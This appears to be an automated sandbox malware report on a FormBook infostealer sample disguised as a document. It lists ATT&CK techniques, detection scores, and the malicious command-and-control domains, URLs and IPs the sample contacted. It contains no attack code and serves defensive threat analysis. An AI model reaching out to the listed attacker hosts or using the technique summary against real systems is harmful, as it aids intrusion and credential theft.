Source: Yara match	File source: 00000004.00000002.1846379339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4133191097.0000000004910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4132211926.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4133252340.0000000004960000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1846811096.0000000004D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1848370775.0000000006CF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4133228412.0000000003870000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	312 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	312 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
PASU5160894680 DOCS.scr.exe	32%	ReversingLabs
PASU5160894680 DOCS.scr.exe	100%	Avira	TR/AD.Swotter.hefne
PASU5160894680 DOCS.scr.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://files.cloud.naver.com/GetList.ndrive	0%	Avira URL Cloud	safe
http://files.cloud.naver.com/Status/GenerateKey.ndrive	0%	Avira URL Cloud	safe
http://www.sssqqq07-22.fun/78aq/	0%	Avira URL Cloud	safe
http://static.nid.naver.com/enclogin/keys.nhnIhttps://nid.naver.com/nidlogin.login	0%	Avira URL Cloud	safe
http://files.cloud.naver.com/MakeDirectory.ndrive?	0%	Avira URL Cloud	safe
http://static.nid.naver.com/login.nhn?svc=wme&url=http%3A%2F%2Fwww.naver.com&t=20120425	0%	Avira URL Cloud	safe
http://www.lyxor.top/top4/	0%	Avira URL Cloud	safe
http://www.academy-training.xyz/1ki5/	0%	Avira URL Cloud	safe
http://cloud.naver.com/	0%	Avira URL Cloud	safe
http://www.cake11298.online/7ew2/	0%	Avira URL Cloud	safe
http://www.fslab.tech/5jwl/	0%	Avira URL Cloud	safe
http://www.globyglen.info	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Avira URL Cloud	safe
http://www.globyglen.info/tni7/	0%	Avira URL Cloud	safe
https://www.healtheduction.site/2frz/?3tV=l87n7Q89KFkj22mcQvGyKsY8DOdSYtwW2ZIksm0w5n2yQMdP8QPDEmc5KU	0%	Avira URL Cloud	safe
http://www.shipincheshi.skin/25kr/	0%	Avira URL Cloud	safe
http://www.justlivn.net/n3rq/	0%	Avira URL Cloud	safe
http://files.cloud.naver.com/DoDelete.ndrive	0%	Avira URL Cloud	safe
http://www.thinkphp.cn	0%	Avira URL Cloud	safe
http://files.cloud.naver.com/CheckUpload.ndrive	0%	Avira URL Cloud	safe
http://files.cloud.naver.com	0%	Avira URL Cloud	safe
http://files.cloud.naver.com/Status/Get.ndrive	0%	Avira URL Cloud	safe
http://www.unveiled.digital/swnk/	0%	Avira URL Cloud	safe
http://www.jobworklanka.online/c85h/	0%	Avira URL Cloud	safe
http://www.healtheduction.site/2frz/	0%	Avira URL Cloud	safe
http://www.vip66.zone/ymla/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.academy-training.xyz	79.125.89.83	true	true	unknown
www.lyxor.top	203.161.43.228	true	true	unknown
www.healtheduction.site.cdn.hstgr.net	84.32.84.37	true	true	unknown
ncumibrs.github.io	185.199.108.153	true	true	unknown
laohuang.zhongshengxinyun.com	43.135.99.21	true	true	unknown
jobworklanka.online	91.184.0.200	true	true	unknown
unveiled.digital	3.33.130.190	true	true	unknown
justlivn.net	76.223.113.161	true	true	unknown
www.shipincheshi.skin	154.23.176.197	true	true	unknown
globyglen.info	3.33.130.190	true	true	unknown
www.fslab.tech	160.251.148.115	true	true	unknown
vip66.zone	3.33.130.190	true	true	unknown
www.sssqqq07-22.fun	45.113.201.77	true	true	unknown
www.xsg.icu	unknown	unknown	true	unknown
www.healtheduction.site	unknown	unknown	true	unknown
www.cake11298.online	unknown	unknown	true	unknown
www.vip66.zone	unknown	unknown	true	unknown
www.unveiled.digital	unknown	unknown	true	unknown
www.justlivn.net	unknown	unknown	true	unknown
www.jobworklanka.online	unknown	unknown	true	unknown
www.mypos.support	unknown	unknown	true	unknown
www.jz07259dkijw.cloud	unknown	unknown	true	unknown
www.globyglen.info	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.lyxor.top/top4/	true	Avira URL Cloud: safe	unknown
http://www.sssqqq07-22.fun/78aq/	true	Avira URL Cloud: safe	unknown
http://www.academy-training.xyz/1ki5/	true	Avira URL Cloud: safe	unknown
http://www.cake11298.online/7ew2/	true	Avira URL Cloud: safe	unknown
http://www.fslab.tech/5jwl/	true	Avira URL Cloud: safe	unknown
http://www.globyglen.info/tni7/	true	Avira URL Cloud: safe	unknown
http://www.justlivn.net/n3rq/	true	Avira URL Cloud: safe	unknown
http://www.shipincheshi.skin/25kr/	true	Avira URL Cloud: safe	unknown
http://www.unveiled.digital/swnk/	true	Avira URL Cloud: safe	unknown
http://www.vip66.zone/ymla/	true	Avira URL Cloud: safe	unknown
http://www.healtheduction.site/2frz/	true	Avira URL Cloud: safe	unknown
http://www.jobworklanka.online/c85h/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersG	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://static.nid.naver.com/enclogin/keys.nhnIhttps://nid.naver.com/nidlogin.login	PASU5160894680 DOCS.scr.exe	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/?	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://files.cloud.naver.com/GetList.ndrive	PASU5160894680 DOCS.scr.exe	false	Avira URL Cloud: safe	unknown
http://static.nid.naver.com/login.nhn?svc=wme&url=http%3A%2F%2Fwww.naver.com&t=20120425	PASU5160894680 DOCS.scr.exe	false	Avira URL Cloud: safe	unknown
http://files.cloud.naver.com/MakeDirectory.ndrive?	PASU5160894680 DOCS.scr.exe	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://files.cloud.naver.com/Status/GenerateKey.ndrive	PASU5160894680 DOCS.scr.exe	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cloud.naver.com/	PASU5160894680 DOCS.scr.exe	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	control.exe, 00000006.00000002.4134255300.0000000005E4C000.00000004.10000000.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4133356305.0000000003E7C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.globyglen.info	uFLByAWAOFbhtV.exe, 0000000A.00000002.4134964235.0000000005910000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1717296789.0000000003420000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722359296.0000000005E10000.00000004.00000020.00020000.00000000.sdmp, PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.healtheduction.site/2frz/?3tV=l87n7Q89KFkj22mcQvGyKsY8DOdSYtwW2ZIksm0w5n2yQMdP8QPDEmc5KU	control.exe, 00000006.00000002.4134255300.0000000006C6E000.00000004.10000000.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4133356305.0000000004C9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://files.cloud.naver.com/DoDelete.ndrive	PASU5160894680 DOCS.scr.exe	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.thinkphp.cn	control.exe, 00000006.00000002.4134255300.0000000006626000.00000004.10000000.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4133356305.0000000004656000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://files.cloud.naver.com/CheckUpload.ndrive	PASU5160894680 DOCS.scr.exe	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://files.cloud.naver.com	PASU5160894680 DOCS.scr.exe	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers8	PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://files.cloud.naver.com/Status/Get.ndrive	PASU5160894680 DOCS.scr.exe	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	control.exe, 00000006.00000002.4136032077.0000000008118000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
43.135.99.21	laohuang.zhongshengxinyun.com	Japan	4249	LILLY-ASUS	true
203.161.43.228	www.lyxor.top	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
160.251.148.115	www.fslab.tech	Japan	7506	INTERQGMOInternetIncJP	true
91.184.0.200	jobworklanka.online	Netherlands	197902	HOSTNETNL	true
76.223.113.161	justlivn.net	United States	16509	AMAZON-02US	true
84.32.84.37	www.healtheduction.site.cdn.hstgr.net	Lithuania	33922	NTT-LT-ASLT	true
79.125.89.83	www.academy-training.xyz	Ireland	16509	AMAZON-02US	true
185.199.108.153	ncumibrs.github.io	Netherlands	54113	FASTLYUS	true
3.33.130.190	unveiled.digital	United States	8987	AMAZONEXPANSIONGB	true
154.23.176.197	www.shipincheshi.skin	United States	174	COGENT-174US	true
45.113.201.77	www.sssqqq07-22.fun	China	137697	CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1510085
Start date and time:	2024-09-12 15:04:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PASU5160894680 DOCS.scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/7@19/11
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 95% Number of executed functions: 97 Number of non-executed functions: 280
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target uFLByAWAOFbhtV.exe, PID 2496 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PASU5160894680 DOCS.scr.exe

Simulations

Behavior and APIs

Time	Type	Description
09:04:59	API Interceptor	1x Sleep call for process: PASU5160894680 DOCS.scr.exe modified
09:05:01	API Interceptor	12x Sleep call for process: powershell.exe modified
09:05:52	API Interceptor	11544586x Sleep call for process: control.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
43.135.99.21	LKkVS1VFJD.exe	Get hash	malicious	FormBook	Browse	www.jz07259dkijw.cloud/74k4/
43.135.99.21	DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	www.jz07259dkijw.cloud/3fy6/
203.161.43.228	Purchase Order TE- 00011-7777.exe	Get hash	malicious	FormBook	Browse	www.quilo.life/ftr3/
	Payment confirmation 20240911.exe	Get hash	malicious	FormBook	Browse	www.quilo.life/ftr3/
	PO 09110124 EXPRESS SYSTEM-SESB24066.exe	Get hash	malicious	FormBook	Browse	www.quilo.life/ftr3/
	Jsn496Em5T.exe	Get hash	malicious	FormBook	Browse	www.virox.top/basq/
	Doc_PO6900000827.exe	Get hash	malicious	FormBook	Browse	www.quilo.life/ftr3/
	PO_20240906011824.exe	Get hash	malicious	FormBook	Browse	www.quilo.life/ftr3/
	6i4QCFbsNi.exe	Get hash	malicious	FormBook	Browse	www.virox.top/basq/
	DEBIT NOTE July 2024 PART 2.exe	Get hash	malicious	FormBook	Browse	www.lyxor.top/top4/
	PO 18-3081.exe	Get hash	malicious	FormBook	Browse	www.velix.buzz/0qme/
	GOVT __OF SHARJAH - UNIVERSITY OF SHARJAH - Project 0238.exe	Get hash	malicious	FormBook	Browse	www.fynra.xyz/i65r/
160.251.148.115	DEBIT NOTE July 2024 PART 2.exe	Get hash	malicious	FormBook	Browse	www.fslab.tech/5jwl/
	REQST_PRC 410240665_2024.exe	Get hash	malicious	FormBook	Browse	www.fslab.tech/bvwy/
	REQST_PRC 410240.exe	Get hash	malicious	FormBook	Browse	www.fslab.tech/bvwy/
	GOVT __OF SHARJAH - UNIVERSITY OF SHARJAH - Project 0238.exe	Get hash	malicious	FormBook	Browse	www.fslab.tech/k44t/
	INVG0088 LHV3495264 BL327291535V.exe	Get hash	malicious	FormBook	Browse	www.fslab.tech/bvwy/
	PURCHASE ORDER_330011 SEPTEMBER 2024.exe	Get hash	malicious	FormBook	Browse	www.fslab.tech/bvwy/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
laohuang.zhongshengxinyun.com	DEBIT NOTE July 2024 PART 2.exe	Get hash	malicious	FormBook	Browse	43.135.99.21
	LKkVS1VFJD.exe	Get hash	malicious	FormBook	Browse	43.135.99.21
	DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	43.135.99.21
www.lyxor.top	DEBIT NOTE July 2024 PART 2.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
ncumibrs.github.io	DEBIT NOTE July 2024 PART 2.exe	Get hash	malicious	FormBook	Browse	185.199.108.153
ncumibrs.github.io	GOVT __OF SHARJAH - UNIVERSITY OF SHARJAH - Project 0238.exe	Get hash	malicious	FormBook	Browse	185.199.109.153
www.academy-training.xyz	DEBIT NOTE July 2024 PART 2.exe	Get hash	malicious	FormBook	Browse	52.212.173.134
www.shipincheshi.skin	Jsn496Em5T.exe	Get hash	malicious	FormBook	Browse	154.23.176.197
www.shipincheshi.skin	play.exe	Get hash	malicious	FormBook	Browse	154.23.176.197
www.healtheduction.site.cdn.hstgr.net	Order#Qxz091124.exe	Get hash	malicious	FormBook	Browse	84.32.84.59
www.healtheduction.site.cdn.hstgr.net	PO00211240906.exe	Get hash	malicious	FormBook	Browse	154.41.250.28

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VNPT-AS-VNVNPTCorpVN	Purchase Order TE- 00011-7777.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	Payment confirmation 20240911.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	PDF PURCHASE INQUIRY PDF.exe	Get hash	malicious	FormBook	Browse	203.161.42.73
	PO 09110124 EXPRESS SYSTEM-SESB24066.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	Jsn496Em5T.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	MV ALIADO-S-REQ-19-000640.exe	Get hash	malicious	FormBook	Browse	203.161.42.73
	Doc_PO6900000827.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	PO_20240906011824.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	doc330391202408011.exe	Get hash	malicious	FormBook	Browse	203.161.42.73
	yyyyyyyy.exe	Get hash	malicious	FormBook	Browse	203.161.42.73
INTERQGMOInternetIncJP	https://smex-ctp.trendmicro.com/wis/clicktime/v1/query?url=http%3a%2f%2f3d1.gmobb.jp%2fdcm299ccyag4e%2fgov&umid=c9da0305-3df1-4ca9-b55d-4eb1dc21d559&auth=e8718e3df01d3f6f6a26ecc437e1fe16569b02b3-ce2cb0a9999be4b21ec568df281766cb7c88743e	Get hash	malicious	Phisher	Browse	133.130.64.224
	firmware.armv5l.elf	Get hash	malicious	Unknown	Browse	150.95.255.38
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	157.7.79.184
	i686.elf	Get hash	malicious	Unknown	Browse	210.157.62.155
	69.165.74.77-mips-2024-09-05T03_23_55.elf	Get hash	malicious	Mirai, Moobot	Browse	157.7.100.16
	bot_library.exe	Get hash	malicious	Unknown	Browse	160.251.46.239
	DEBIT NOTE July 2024 PART 2.exe	Get hash	malicious	FormBook	Browse	160.251.148.115
	ojtBIU0jhM.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	160.251.151.144
	REQST_PRC 410240665_2024.exe	Get hash	malicious	FormBook	Browse	160.251.148.115
	REQST_PRC 410240.exe	Get hash	malicious	FormBook	Browse	160.251.148.115
LILLY-ASUS	mlnZfOifRX.elf	Get hash	malicious	Okiru	Browse	43.74.44.172
	SecuriteInfo.com.Linux.Siggen.9999.15962.9862.elf	Get hash	malicious	Mirai	Browse	40.171.48.24
	SecuriteInfo.com.Linux.Siggen.9999.11579.20419.elf	Get hash	malicious	Mirai	Browse	43.146.154.29
	BxSi44GgR7.exe	Get hash	malicious	CobaltStrike, ReflectiveLoader	Browse	43.137.69.76
	kkGs66WA6x.exe	Get hash	malicious	CobaltStrike, ReflectiveLoader	Browse	43.137.69.76
	tDnjjDsM8d.exe	Get hash	malicious	CobaltStrike, ReflectiveLoader	Browse	43.137.69.76
	JSrybHIGxt.exe	Get hash	malicious	CobaltStrike, ReflectiveLoader	Browse	43.137.69.76
	ClbZrjB4z0.exe	Get hash	malicious	CobaltStrike, ReflectiveLoader	Browse	43.137.69.76
	BUjJGpv9Rv.exe	Get hash	malicious	CobaltStrike, ReflectiveLoader	Browse	43.137.69.76
	qID9dPG3MI.exe	Get hash	malicious	CobaltStrike, ReflectiveLoader	Browse	43.137.69.76
HOSTNETNL	z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Get hash	malicious	FormBook	Browse	91.184.0.111
	firmware.x86_64.elf	Get hash	malicious	Unknown	Browse	91.184.0.99
	PO #86637.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	DEBIT NOTE July 2024 PART 2.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
	COTIZACION 290824.exe	Get hash	malicious	FormBook	Browse	91.184.0.200
